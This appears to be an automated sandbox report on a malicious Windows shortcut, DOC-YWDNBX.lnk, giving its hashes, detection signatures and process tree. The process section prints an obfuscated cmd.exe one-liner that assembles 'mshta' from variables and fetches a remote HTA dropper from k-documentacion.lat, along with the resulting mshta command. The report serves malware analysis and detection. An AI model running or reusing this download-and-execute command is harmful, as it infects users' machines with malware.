Analysis
- max time kernel
60s - max time network
55s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
23/08/2026, 04:35
Static task
static1
Behavioral task
behavioral1
Sample
DOC-YWDNBX.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-YWDNBX.lnk
Resource
win11ltsc2024-20260710-en
3 signatures
60 seconds
General
- Target DOC-YWDNBX.lnk
- Size 2KB
- Sample260823-e71kyssgja
- SHA256 9ea03cb653e82c75085572c3876f2b9359e8a0e29245993720b7c0bac0657005
- MD5 f05eb513a3bbe9011f6ae608f7f9a8dc
- SHA1 0dae6dbf3fd45153eda7b7cac3b2ef80f5d1927e
- SHA512 59970ed1b460d81c9dadca3ce284b75fbb37da775fdb5cc9c0dbb9f291ea0c889286c8b84b63cf3ec2410dd6d78fcacf7c2570d2fded0823543245c1320693f1
- TLSH T1485100907AF905E8F3BA9F72ECBE2791487BBD624D61C64D4910C50E0832B02D977B27
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1084 cmd.exe 3280 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1084 wrote to memory of 3280 1084 cmd.exe 90 PID 3280 wrote to memory of 4624 3280 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-YWDNBX.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1084 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /D /V:on /C "set zO=oldhhvxcqvjrfszpishxtmold&set INHR=bakwxfdqbrsnulctkiqsmtbak&set iDna=cachelurximnlemzgrngbdtmttmccache&set Dx=oldgpnjujhrkuiold&set Kq=cfgbillhscfg&set XILu=winnlkopqcyfshmtrwin&set wZ=oldgjcmvykcjuywclojgold&set nutef=o6mp&&set Yr=oyhsk&&set vzST=yhtal&set pLxdG=logzzuefaelog&set RpVz=jsmz&&set wECP=mttzn&&set iFEae=uartmy&set VpF=infhyyvyninf&set aue=loguewfcjgphblyiskdstpslog&&set OBhvQ=https@://k-do@cu@men@[email protected]@t/h@/esta@g@[email protected]@hp?r=3@F1477@F@15@3@98D@1&&start /b !nutef:~2,1!!Yr:~3,1!!vzST:~1,3! !OBhvQ:@=!&&set MN=done"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3280 -
C:\Windows\System32\mshta.exemshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D13⤵PID:4624
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